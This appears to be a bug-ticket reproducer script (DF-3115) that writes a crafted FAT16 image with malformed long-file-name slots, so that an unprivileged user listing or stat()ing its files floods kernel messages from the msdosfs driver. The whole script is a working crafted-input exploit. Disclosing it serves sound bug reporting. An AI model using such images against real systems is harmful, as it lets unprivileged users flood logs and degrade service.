DF-3115 / craft_lfn.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 | #!/usr/bin/env python3 """ DF-3115 -- craft a FAT16 image whose root directory contains LFN slots that violate the reassembly order, driving the UNCONDITIONAL kprintf()s in mbnambuf_write() (sys/vfs/msdosfs/msdosfs_conv.c:1038 "non-decreasing id" and :1048 "file name length %zu too large"). Two patterns: pattern A (default): 12 groups of [LFN id=1][LFN id=1][SFN X<n>.TXT] -> every scan of the directory re-prints "non-decreasing id: id 1, last id 1" once per group (12 lines per lookup/getdents pass). pattern B: 10 chained LFN slots (ids 10..1, 13 chars each = 130 bytes) followed by an SFN -> one "file name length 130 too large" line per scan (130 > 127 cap at msdosfs_conv.c:1047). Both patterns are purely on-disk metadata; an unprivileged user listing or stat()-ing files in the directory triggers the prints. usage: craft_lfn.py <out.img> [A|B] """ import struct, sys BPS = 512 TOTSEC = 4096 # 2 MB RESV = 1 NFATS = 2 SPC = 4 ROOTENTS = 512 FATSEC = 4 MEDIA = 0xF8 SPT, HEADS = 32, 8 ROOTSEC = (ROOTENTS * 32 + BPS - 1) // BPS def lfn_entry(seq, name13, last=False, chksum=0x57): """LFN directory entry (attr 0x0F). seq is the ordinal (weCnt). `last` sets WIN_LAST (0x40) on the highest-ordinal slot so win2unixfn re-establishes the checksum and actually reaches mbnambuf_write.""" e = bytearray(32) e[0] = (seq & 0x3F) | (0x40 if last else 0) e[13] = chksum # name chars 0..4 (UTF-16LE), 5..10, 11..12 ucs = [ord(c) for c in name13] + [0] * (13 - len(name13)) # pad with 0xFFFF as Windows does for unused slots for i in range(len(name13), 13): ucs[i] = 0xFFFF off = 1 for i in range(0, 5): struct.pack_into('<H', e, off, ucs[i]); off += 2 e[11] = 0x0F e[12] = 0 struct.pack_into('<H', e, 26, 0) # cluster off = 14 for i in range(5, 11): struct.pack_into('<H', e, off, ucs[i]); off += 2 off = 28 for i in range(11, 13): struct.pack_into('<H', e, off, ucs[i]); off += 2 return bytes(e) def sfn_entry(name, ext, cluster=2): e = bytearray(32) n = (name + ' ' * 8)[:8].encode() x = (ext + ' ' * 3)[:3].encode() e[0:8] = n e[8:11] = x e[11] = 0x20 e[12] = 0 e[13] = 0x7E # create time 10ms (arbitrary) struct.pack_into('<H', e, 14, 0x6000) # time struct.pack_into('<H', e, 16, 0x5CD0) # date 2020-01-01 struct.pack_into('<H', e, 18, 0x5CD0) # access date struct.pack_into('<H', e, 20, 0) # cluster hi struct.pack_into('<H', e, 22, 0x7800) # write time struct.pack_into('<H', e, 24, 0x5CD0) # write date struct.pack_into('<H', e, 26, cluster) # cluster lo struct.pack_into('<I', e, 28, 0) # size 0 return bytes(e) def build(outpath, pattern='A'): img = bytearray(TOTSEC * BPS) # --- boot sector (FAT16) --- bs = 0 img[0] = 0xEB img[1] = 0x3C img[2] = 0x90 img[3:11] = b'MSDOS5.0' struct.pack_into('<H', img, 11, BPS) img[13] = SPC struct.pack_into('<H', img, 14, RESV) img[16] = NFATS struct.pack_into('<H', img, 17, ROOTENTS) struct.pack_into('<H', img, 19, TOTSEC) img[21] = MEDIA struct.pack_into('<H', img, 22, FATSEC) struct.pack_into('<H', img, 24, SPT) struct.pack_into('<H', img, 26, HEADS) struct.pack_into('<I', img, 32, 0) # hidden struct.pack_into('<I', img, 36, 0) img[510] = 0x55; img[511] = 0xAA # --- FATs (FAT12/16 as computed by mount: maxcluster decides FAT12) --- firstcluster = RESV + NFATS * FATSEC + ROOTSEC maxcluster = (TOTSEC - firstcluster) // SPC + 1 # keep it FAT12/FAT16-agnostic: entries 0/1 + chain for cluster 2 (data) fat1 = bytearray(FATSEC * BPS) fat1[0] = MEDIA; fat1[1] = 0xFF; fat1[2] = 0xFF # cluster 2 -> EOC (root of file data, FAT12 0xFFF) if maxcluster <= 4085: # FAT12 entry for cluster 2 at byte 3: 0x0FF 0xF0 -> EOC fat1[3] = 0xFF; fat1[4] = 0x0F else: struct.pack_into('<H', fat1, 4, 0xFFFF) # cluster 2 EOC for i in range(NFATS): img[(RESV + i * FATSEC) * BPS:(RESV + (i + 1) * FATSEC) * BPS] = fat1 # --- root directory --- rdo = firstcluster - ROOTSEC ent = 0 def put(e): nonlocal ent off = (rdo * BPS) + ent * 32 img[off:off + 32] = e ent += 1 if pattern == 'A': for g in range(12): put(lfn_entry(1, 'aaaaaaaaaaaaa', last=True)) # weCnt 0x41, id 0 put(lfn_entry(1, 'bbbbbbbbbbbbb')) # id 0 again -> EINVAL print put(sfn_entry('LONGN%03d' % g, 'TXT')) else: # 10 full LFN slots, ords 10..1 (WIN_LAST on first) -> 130 bytes for i in range(10, 0, -1): put(lfn_entry(i, 'c' * 13, last=(i == 10))) put(sfn_entry('VERYLONG', 'TXT')) # volume label so something sane exists put(sfn_entry('DF3115', '', 0)) # terminator off = (rdo * BPS) + ent * 32 img[off] = 0x00 # --- data area: cluster 2 = a directory (so lookup scans root only) --- with open(outpath, 'wb') as f: f.write(img) print("wrote %s (%d bytes), pattern %s, maxcluster=%d, FAT12=%s" % (outpath, len(img), pattern, maxcluster, maxcluster <= 4085)) if __name__ == '__main__': build(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else 'A') |